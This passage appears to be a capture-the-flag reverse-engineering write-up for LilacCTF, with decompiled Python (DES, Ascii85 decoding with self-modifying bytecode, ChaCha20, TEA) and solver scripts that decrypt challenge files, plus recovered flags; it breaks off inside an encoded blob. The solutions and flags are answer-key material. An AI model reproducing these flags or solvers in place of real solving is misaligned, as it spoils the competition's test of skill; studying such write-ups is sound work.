def __substitution(self, table: str, self_table: list) -> str:
"""\n :param table: 需要进行置换的列表,是一个01字符串\n :param self_table: 置换表,在__init__中初始化了\n :return: 返回置换后的01字符串\n """
sub_result = ''
for i in self_table:
sub_result += table[i - 1]
return sub_result
def str2bin(self, string: str) -> str:
"""\n 将明文转为二进制字符串:\n :param string: 任意字符串\n :return:二进制字符串\n """
plaintext_list = list(bytes(string, 'utf8'))
result = []
for num in plaintext_list:
result.append(bin(num)[2:].zfill(8))
return ''.join(result)
def bin2str(self, binary: str) -> str:
"""\n 二进制字符串转成字符串\n :param binary:\n :return:\n """
list_bin = [binary[i:i + 8] for i in range(0, len(binary), 8)]
list_int = []
for b in list_bin:
list_int.append(int(b, 2))
result = bytes(list_int).decode()
return result
def __bin2int(self, binary: str) -> list:
"""\n 由于加密之后的二进制无法直接转成字符,有不可见字符在,utf8可能无法解码,所以需要将二进制字符串每8位转成int型号列表,用于转成bytes再转hex\n :param binary: 二进制字符串\n :return: int型列表\n """
list_bin = [binary[i:i + 8] for i in range(0, len(binary), 8)]
list_int = []
for b in list_bin:
list_int.append(int(b, 2))
return list_int
def __int2bin(self, list_int: list) -> str:
result = []
for num in list_int:
result.append(bin(num)[2:].zfill(8))
return ''.join(result)
def __get_block_list(self, binary: str) -> list:
"""\n 对明文二进制串进行切分,每64位为一块,DES加密以64位为一组进行加密的\n :type binary: 二进制串\n """
len_binary = len(binary)
if len_binary % 64!= 0:
binary_block = binary + '0' * (64 - len_binary % 64)
return [binary_block[i:i + 64] for i in range(0, len(binary_block), 64)]
else:
return [binary[j:j + 64] for j in range(0, len(binary), 64)]
def modify_secretkey(self):
"""\n 修改默认密钥函数\n :return: None\n """
print('当前二进制形式密钥为:{}'.format(self.K))
print('当前字符串形式密钥为:{}'.format(self.bin2str(self.K)))
newkey = input('输入新的密钥(长度为8):')
if len(newkey)!= 8:
print('密钥长度不符合,请重新输入:')
self.modify_secretkey()
else:
bin_key = self.str2bin(newkey)
self.K = bin_key
print('当前二进制形式密钥为:{}'.format(self.K))
def __f_funtion(self, right: str, key: str):
"""\n :param right: 明文二进制的字符串加密过程的右半段\n :param key: 当前轮数的密钥\n :return: 进行E扩展,与key异或操作,S盒操作后返回32位01字符串\n """
e_result = self.__substitution(right, self.E)
xor_result = self.__xor_function(e_result, key)
s_result = self.__s_box(xor_result)
p_result = self.__substitution(s_result, self.P)
return p_result
def __get_key_list(self):
"""\n :return: 返回加密过程中16轮的子密钥\n """
key = self.__substitution(self.K, self.k1)
left_key = key[0:28]
right_key = key[28:56]
keys = []
for i in range(1, 17):
move = self.k0[i - 1]
move_left = left_key[move:28] + left_key[0:move]
move_right = right_key[move:28] + right_key[0:move]
left_key = move_left
right_key = move_right
move_key = left_key + right_key
ki = self.__substitution(move_key, self.k2)
keys.append(ki)
return keys
def __xor_function(self, xor1: str, xor2: str):
"""\n :param xor1: 01字符串\n :param xor2: 01字符串\n :return: 异或操作返回的结果\n """
size = len(xor1)
result = ''
for i in range(0, size):
result += '0' if xor1[i] == xor2[i] else '1'
return result
def __s_box(self, xor_result: str):
"""\n :param xor_result: 48位01字符串\n :return: 返回32位01字符串\n """
result = ''
for i in range(0, 8):
block = xor_result[i * 6:(i + 1) * 6]
line = int(block[0] + block[5], 2)
colmn = int(block[1:5], 2)
res = bin(self.S[i][line * 16 + colmn])[2:]
if len(res) < 4:
res = '0' * (4 - len(res)) + res
result += res
return result
def __iteration(self, bin_plaintext: str, key_list: list):
"""\n :param bin_plaintext: 01字符串,64位\n :param key_list: 密钥列表,共16个\n :return: 进行F函数以及和left异或操作之后的字符串\n """
left = bin_plaintext[0:32]
right = bin_plaintext[32:64]
for i in range(0, 16):
next_lift = right
f_result = self.__f_funtion(right, key_list[i])
next_right = self.__xor_function(left, f_result)
left = next_lift
right = next_right
bin_plaintext_result = left + right
return bin_plaintext_result[32:] + bin_plaintext_result[:32]
def encode(self, plaintext):
"""\n :param plaintext: 明文字符串\n :return: 密文字符串\n """
bin_plaintext = self.str2bin(plaintext)
bin_plaintext_block = self.__get_block_list(bin_plaintext)
ciphertext_bin_list = []
key_list = self.__get_key_list()
for block in bin_plaintext_block:
sub_ip = self.__substitution(block, self.ip)
ite_result = self.__iteration(sub_ip, key_list)
sub_ip1 = self.__substitution(ite_result, self.ip1)
ciphertext_bin_list.append(sub_ip1)
ciphertext_bin = ''.join(ciphertext_bin_list)
result = self.__bin2int(ciphertext_bin)
return bytes(result).hex().upper()
def decode(self, ciphertext):
"""\n :param ciphertext: 密文字符串\n :return: 明文字符串\n """
b_ciphertext = binascii.a2b_hex(ciphertext)
bin_ciphertext = self.__int2bin(list(b_ciphertext))
bin_plaintext_list = []
key_list = self.__get_key_list()
key_list = key_list[::(-1)]
bin_ciphertext_block = [bin_ciphertext[i:i + 64] for i in range(0, len(bin_ciphertext), 64)]
for block in bin_ciphertext_block:
sub_ip = self.__substitution(block, self.ip)
ite = self.__iteration(sub_ip, key_list)
sub_ip1 = self.__substitution(ite, self.ip1)
bin_plaintext_list.append(sub_ip1)
bin_plaintext = ''.join(bin_plaintext_list).replace('00000000', '')
return self.bin2str(bin_plaintext)
_a85chars = None
_a85chars2 = None
_A85START = b'<~'
_A85END = b'~>'
bytes_types = (bytes, bytearray)
def _bytes_from_decode_data(s):
if isinstance(s, str):
try:
return s.encode('ascii')
except UnicodeEncodeError:
raise ValueError('string argument should contain only ASCII characters')
else:
if isinstance(s, bytes_types):
return s
else:
try:
return memoryview(s).tobytes()
except TypeError:
raise TypeError('argument should be a bytes-like object or ASCII string, not %r' % s.__class__.__name__) from None
def b64decode(s, altchars=None, validate=False):
"""Decode the Base64 encoded bytes-like object or ASCII string s.\n\n Optional altchars must be a bytes-like object or ASCII string of length 2\n which specifies the alternative alphabet used instead of the \'+\' and \'/\'\n characters.\n\n The result is returned as a bytes object. A binascii.Error is raised if\n s is incorrectly padded.\n\n If validate is False (the default), characters that are neither in the\n normal base-64 alphabet nor the alternative alphabet are discarded prior\n to the padding check. If validate is True, these non-alphabet characters\n in the input result in a binascii.Error.\n """
s = _bytes_from_decode_data(s)
if altchars is not None:
altchars = _bytes_from_decode_data(altchars)
assert len(altchars) == 2, repr(altchars)
s = s.translate(bytes.maketrans(altchars, b'+/'))
if validate and (not re.fullmatch(b'[A-Za-z0-9+/]*={0,2}', s)):
raise binascii.Error('Non-base64 digit found')
else:
return binascii.a2b_base64(s)
def a85decode(b, *, foldspaces=False, adobe=False, ignorechars=b' \t\n\r\x0b'):
# irreducible cflow, using cdg fallback
"""\n """
b = _bytes_from_decode_data(b)
if adobe:
if not b.endswith(_A85END):
raise ValueError('Ascii85 encoded byte sequences must end with {!r}'.format(_A85END))
else:
if b.startswith(_A85START):
b = b[2:(-2)]
else:
b = b[:(-2)]
packI = struct.Struct('!I').pack
decoded = []
decoded_append = decoded.append
curr = []
curr_append = curr.append
curr_clear = curr.clear
for x in b + b'uuuu':
if 33 <= x <= 117:
curr_append(x)
if len(curr) == 5:
acc = 0
for x in curr:
acc = 85 * acc + (x - 33)
try:
decoded_append(packI(acc))
except struct.error:
raise ValueError('Ascii85 overflow') from None
curr_clear()
if x == 122:
if curr:
raise ValueError('z inside Ascii85 5-tuple')
else:
decoded_append(b'\x00\x00\x00\x00')
else:
if foldspaces and x == 121:
if curr:
raise ValueError('y inside Ascii85 5-tuple')
else:
decoded_append(b' ')
else:
if x in ignorechars:
continue
else:
raise ValueError('Non-Ascii85 digit found: %c' % x)
payload = MX.__code__.co_code
magic_code1 = b'?'
magic_code2 = b'>'
payload = payload[:4] + magic_code2 + payload[5:10] + magic_code1 + payload[11:18] + magic_code2 + payload[19:24] + magic_code1 + payload[25:]
payload = payload[:3] + b'\x03' + payload[4:9] + b'\x01' + payload[10:17] + b'\x04' + payload[18:23] + b'\x02' + payload[24:]
fn_code = MX.__code__
MX.__code__ = CodeType(int(fn_code.co_argcount), int(fn_code.co_posonlyargcount), int(fn_code.co_kwonlyargcount), int(fn_code.co_nlocals), int(fn_code.co_stacksize), payload, fn_code.co_consts, fn_code.co_names, fn_code.co_varnames, fn_code.co_filename, fn_code.co_name, int(fn_code.co_firstlineno), fn_code.co_lnotab, fn_code.co_freevars, fn_code.co_cellvars)
result = b''.join(decoded)
padding = 4 - len(curr)
if padding:
result = result[:-padding]
return result
def chacha20_decrypt(key, counter, nonce, ciphertext):
return chacha20_encrypt(key, counter, nonce, ciphertext)
def chacha20_encrypt(key, counter, nonce, plaintext):
byte_length = len(plaintext)
full_blocks = byte_length // 64
remainder_bytes = byte_length % 64
encrypted_message = b''
for i in range(full_blocks):
key_stream = serialize(chacha20_block(key, counter + i, nonce))
plaintext_block = plaintext[i * 64:i * 64 + 64]
encrypted_block = [plaintext_block[j] ^ key_stream[j] for j in range(64)]
encrypted_message += bytes(encrypted_block)
if remainder_bytes!= 0:
key_stream = serialize(chacha20_block(key, counter + full_blocks, nonce))
plaintext_block = plaintext[full_blocks * 64:byte_length]
encrypted_block = [plaintext_block[j] ^ key_stream[j] for j in range(remainder_bytes)]
encrypted_message += bytes(encrypted_block)
return encrypted_message
def chacha20_block(key, counter, nonce):
BLOCK_CONSTANTS = [1634760805, 857760878, 2036477234, 1797285236]
init_state = BLOCK_CONSTANTS + key + [counter] + nonce
current_state = init_state[:]
for i in range(10):
inner_block(current_state)
for i in range(16):
current_state[i] = add_32(current_state[i], init_state[i])
return current_state
def inner_block(state):
quarterround(state, 0, 4, 8, 12)
quarterround(state, 1, 5, 9, 13)
quarterround(state, 2, 6, 10, 14)
quarterround(state, 3, 7, 11, 15)
quarterround(state, 0, 5, 10, 15)
quarterround(state, 1, 6, 11, 12)
quarterround(state, 2, 7, 8, 13)
quarterround(state, 3, 4, 9, 14)
def xor_32(x, y):
return (x ^ y) & 4294967295
def add_32(x, y):
return x + y & 4294967295
def rot_l32(x, n):
return (x << n | x >> 32 - n) & 4294967295
def quarterround(state, i1, i2, i3, i4):
a = state[i1]
b = state[i2]
c = state[i3]
d = state[i4]
a = add_32(a, b)
d = xor_32(d, a)
d = rot_l32(d, 16)
c = add_32(c, d)
b = xor_32(b, c)
b = rot_l32(b, 12)
a = add_32(a, b)
d = xor_32(d, a)
d = rot_l32(d, 8)
c = add_32(c, d)
b = xor_32(b, c)
b = rot_l32(b, 7)
state[i1] = a
state[i2] = b
state[i3] = c
state[i4] = d
def serialize(block):
return b''.join([word.to_bytes(4, 'little') for word in block])
def encrypt(v, k):
v0 = v[0]
v1 = v[1]
key0, key1, key2, key3 = (k[0], k[1], k[2], k[3])
sum = 0
delta = 2654435769
for _ in range(32):
sum = sum + delta & 4294967295
v0 = v0 + ((v1 << 3) + key0 ^ v1 + sum ^ (v1 >> 4) + key1 ^ 596) & 4294967295
v1 = v1 + ((v0 << 3) + key2 ^ v0 + sum ^ (v0 >> 4) + key3 ^ 2310) & 4294967295
return (v0, v1)
def decrypt(v, k):
v0 = v[0]
v1 = v[1]
key0, key1, key2, key3 = (k[0], k[1], k[2], k[3])
sum = 3337565984
delta = 2654435769
for _ in range(32):
v1 = v1 - ((v0 << 3) + key2 ^ v0 + sum ^ (v0 >> 4) + key3 ^ 2310) & 4294967295
v0 = v0 - ((v1 << 3) + key0 ^ v1 + sum ^ (v1 >> 4) + key1 ^ 596) & 4294967295
sum = sum - delta & 4294967295
return (v0, v1)
def encrypt_all(v, k):
encrypted = []
for i in range(0, len(v), 2):
encrypted.extend(encrypt(v[i:i + 2], k))
return encrypted
def decrypt_all(v, k):
decrypted = []
for i in range(0, len(v), 2):
decrypted.extend(decrypt(v[i:i + 2], k))
return decrypted
```
Then feed into slop
```python=
• Ran python3 - <<'PY'
│ import struct, itertools, string
│
│ … +89 lines
└ hits 2
(('R', 'L', 'R', 'L'), (2, 4, 5, 3), 'e@sy_Pyth0n_SMC!')
(('L', 'R', 'L', 'R'), (3, 5, 4, 2), 'e@sy_Pyth0n_SMC!')
```
Flag: `LilacCTF{e@sy_Pyth0n_SMC!}`
## kilogram
```python!
from pathlib import Path
MAGIC = b"lilac___"
K = [
0x428A2F98D728AE22,
0x7137449123EF65CD,
0xB5C0FBCFEC4D3B2F,
0xE9B5DBA58189DBBC,
0x3956C25BF348B538,
0x59F111F1B605D019,
0x923F82A4AF194F9B,
0xAB1C5ED5DA6D8118,
0xD807AA98A3030242,
0x12835B0145706FBE,
0x243185BE4EE4B28C,
0x550C7DC3D5FFB4E2,
0x72BE5D74F27B896F,
0x80DEB1FE3B1696B1,
0x9BDC06A725C71235,
0xC19BF174CF692694,
0xE49B69C19EF14AD2,
0xEFBE4786384F25E3,
0x0FC19DC68B8CD5B5,
0x240CA1CC77AC9C65,
0x2DE92C6F592B0275,
0x4A7484AA6EA6E483,
0x5CB0A9DCBD41FBD4,
0x76F988DA831153B5,
0x983E5152EE66DFAB,
0xA831C66D2DB43210,
0xB00327C898FB213F,
0xBF597FC7BEEF0EE4,
0xC6E00BF33DA88FC2,
0xD5A79147930AA725,
0x06CA6351E003826F,
0x142929670A0E6E70,
0x27B70A8546D22FFC,
0x2E1B21385C26C926,
0x4D2C6DFC5AC42AED,
0x53380D139D95B3DF,
0x650A73548BAF63DE,
0x766A0ABB3C77B2A8,
0x81C2C92E47EDAEE6,
0x92722C851482353B,
0xA2BFE8A14CF10364,
0xA81A664BBC423001,
0xC24B8B70D0F89791,
0xC76C51A30654BE30,
0xD192E819D6EF5218,
0xD69906245565A910,
0xF40E35855771202A,
0x106AA07032BBD1B8,
0x19A4C116B8D2D0C8,
0x1E376C085141AB53,
0x2748774CDF8EEB99,
0x34B0BCB5E19B48A8,
0x391C0CB3C5C95A63,
0x4ED8AA4AE3418ACB,
0x5B9CCA4F7763E373,
0x682E6FF3D6B2B8A3,
0x748F82EE5DEFB2FC,
0x78A5636F43172F60,
0x84C87814A1F0AB72,
0x8CC702081A6439EC,
0x90BEFFFA23631E28,
0xA4506CEBDE82BDE9,
0xBEF9A3F7B2C67915,
0xC67178F2E372532B,
0xCA273ECEEA26619C,
0xD186B8C721C0C207,
0xEADA7DD6CDE0EB1E,
0xF57D4FF7FEE6ED0D,
0x06F067AA72176FBA,
0x0A637DC5A2C898A6,
0x113F9804BEF90DAE,
0x1B710B35131C471B,
0x28DB77F523047D84,
0x32CAAB7B40C72493,
0x3C9EBE0A15C9BEBC,
0x431D67C49C100D4C,
0x4CC5D4BECB3E42B6,
0x597F299CFC657E2A,
0x5FCB6FAB3AD6FAEC,
0x6C44198C4A475817,
]
def rotr(x, n):
return ((x >> n) | ((x << (64 - n)) & 0xFFFFFFFFFFFFFFFF)) & 0xFFFFFFFFFFFFFFFF
def sha512_custom(m):
h = [
0x6A09E667F3BCC908,
0xBB67AE8584CAA73B,
0x3C6EF372FE94F82B,
0xA54FF53A5F1D36F1,
0x510E527FADE682D1,
0x9B05688C2B3E6C1F,
0x1F83D9ABFB41BD6B,
0x5BE0CD19137E2179,
]
bit_len = len(m) * 8
p = bytearray(m)
p.append(0x80)
while (len(p) % 128) != 112:
p.append(0)
p += (0).to_bytes(8, "big")
p += bit_len.to_bytes(8, "big")
for off in range(0, len(p), 128):
b = p[off : off + 128]
w = [0] * 80
for i in range(16):
w[i] = int.from_bytes(b[i * 8 : (i + 1) * 8], "big")
for i in range(16, 80):
s0 = rotr(w[i - 15], 1) ^ rotr(w[i - 15], 8) ^ (w[i - 15] >> 7)
s1 = rotr(w[i - 2], 19) ^ rotr(w[i - 2], 61) ^ (w[i - 2] >> 6)
w[i] = (w[i - 16] + s0 + w[i - 7] + s1) & 0xFFFFFFFFFFFFFFFF
a, b_, c, d, e, f, g, hh = h
for i in range(80):
s1 = rotr(e, 14) ^ rotr(e, 18) ^ rotr(e, 41)
ch = (e & f) ^ ((~e) & g)
t1 = (hh + s1 + ch + K[i] + w[i]) & 0xFFFFFFFFFFFFFFFF
s0 = rotr(a, 28) ^ rotr(a, 34) ^ rotr(a, 39)
maj = (a & b_) ^ (a & c) ^ (b_ & c)
t2 = (s0 + maj) & 0xFFFFFFFFFFFFFFFF
hh = g
g = f
f = e
e = (d + t1) & 0xFFFFFFFFFFFFFFFF
d = c
c = b_
b_ = a
a = (t1 + t2) & 0xFFFFFFFFFFFFFFFF
h[0] = (h[0] + a) & 0xFFFFFFFFFFFFFFFF
h[1] = (h[1] + b_) & 0xFFFFFFFFFFFFFFFF
h[2] = (h[2] + c) & 0xFFFFFFFFFFFFFFFF
h[3] = (h[3] + d) & 0xFFFFFFFFFFFFFFFF
h[4] = (h[4] + e) & 0xFFFFFFFFFFFFFFFF
h[5] = (h[5] + f) & 0xFFFFFFFFFFFFFFFF
h[6] = (h[6] + g) & 0xFFFFFFFFFFFFFFFF
h[7] = (h[7] + hh) & 0xFFFFFFFFFFFFFFFF
return b"".join(x.to_bytes(8, "big") for x in h)
def hmac_sha512_custom(key, msg):
if len(key) > 128:
key = sha512_custom(key)
if len(key) < 128:
key = key + b"\x00" * (128 - len(key))
ipad = bytes(x ^ 0x36 for x in key)
opad = bytes(x ^ 0x5C for x in key)
return sha512_custom(opad + sha512_custom(ipad + msg))
def pbkdf2_custom(password, salt, iters, dklen):
out = bytearray()
block = 1
while len(out) < dklen:
u = hmac_sha512_custom(password, salt + block.to_bytes(4, "big"))
t = bytearray(u)
for _ in range(1, iters):
u = hmac_sha512_custom(password, u)
for i in range(64):
t[i] ^= u[i]
out.extend(t[: min(64, dklen - len(out))])
block += 1
return bytes(out)
def ksa(key):
s = [(i + 4) & 0xFF for i in range(256)]
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
return bytes(s)
def xorb(data, s):
o = bytearray(data)
for i in range(len(o)):
o[i] ^= s[i & 0xFF]
return bytes(o)
buf = Path("flag.enc").read_bytes()
if buf[:8] != MAGIC:
raise SystemExit(1)
wrapped = buf[8:72]
salt = buf[72:104]
ciphertext = buf[104:]
digest = sha512_custom(salt + b"Lilac+present")
key2 = pbkdf2_custom(digest, salt, 10000, 64)
key1 = bytes(a ^ b for a, b in zip(wrapped, ksa(key2)[:64], strict=True))
plain = xorb(ciphertext, ksa(key1))
Path("flag.jpg").write_bytes(plain)
```

-> Flag: `Lilac{YOu_knOvv_h0w_tO_d3crypt_1t!!}`
## justrom
```python!
import struct
def u32be(buf, off):
return struct.unpack_from(">I", buf, off)[0]
def decode_sethi_or(buf, sethi_off, or_off):
sw = u32be(buf, sethi_off)
ow = u32be(buf, or_off)
return (((sw & 0x3FFFFF) << 10) | (ow & 0x1FFF)) & 0xFFFFFFFF
def rotl32(x, n):
return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n))
def qr(x, a, b, c, d):
x[a] = (x[a] + x[b]) & 0xFFFFFFFF
x[d] ^= x[a]
x[d] = rotl32(x[d], 16)
x[c] = (x[c] + x[d]) & 0xFFFFFFFF
x[b] ^= x[c]
x[b] = rotl32(x[b], 12)
x[a] = (x[a] + x[b]) & 0xFFFFFFFF
x[d] ^= x[a]
x[d] = rotl32(x[d], 8)
x[c] = (x[c] + x[d]) & 0xFFFFFFFF
x[b] ^= x[c]
x[b] = rotl32(x[b], 7)
def chacha8_block(words16):
x = list(words16)
orig = list(words16)
for _ in range(4):
qr(x, 0, 4, 8, 12)
qr(x, 1, 5, 9, 13)
qr(x, 2, 6, 10, 14)
qr(x, 3, 7, 11, 15)
qr(x, 0, 5, 10, 15)
qr(x, 1, 6, 11, 12)
qr(x, 2, 7, 8, 13)
qr(x, 3, 4, 9, 14)
out = [(x[i] + orig[i]) & 0xFFFFFFFF for i in range(16)]
return b"".join(struct.pack("<I", w) for w in out)
rom = open("rom.bin", "rb").read()
pairs_a = [
(0x4AB4, 0x4AB8),
(0x4ABC, 0x4AC0),
(0x4AC8, 0x4ACC),
(0x4AD0, 0x4AD4),
(0x4ADC, 0x4AE0),
(0x4AE4, 0x4AE8),
(0x4AF0, 0x4AF4),
(0x4AF8, 0x4AFC),
]
pairs_b = [
(0x4B04, 0x4B08),
(0x4B0C, 0x4B10),
(0x4B18, 0x4B1C),
(0x4B20, 0x4B24),
(0x4B2C, 0x4B30),
(0x4B34, 0x4B38),
(0x4B40, 0x4B44),
(0x4B48, 0x4B4C),
]
A = b"".join(struct.pack(">I", decode_sethi_or(rom, s, o)) for s, o in pairs_a)
B = b"".join(struct.pack(">I", decode_sethi_or(rom, s, o)) for s, o in pairs_b)
T = bytes(a ^ b for a, b in zip(A, B))
const = list(struct.unpack_from(">4I", rom, 0x4018))
key = list(struct.unpack_from(">8I", rom, 0xC000))
state = const + key + [1, 0x41414141, 0x42424242, 0x43434343]
ks = chacha8_block(state)[:32]
flag = bytes(t ^ k for t, k in zip(T, ks)).decode()
print(flag)
```
Flag: `LilacCTF{d0ntl@@kl1kechch4atall}`
## C++++
```python!
import base64
import struct
import zlib
_BLOB_B64_ZLIB = "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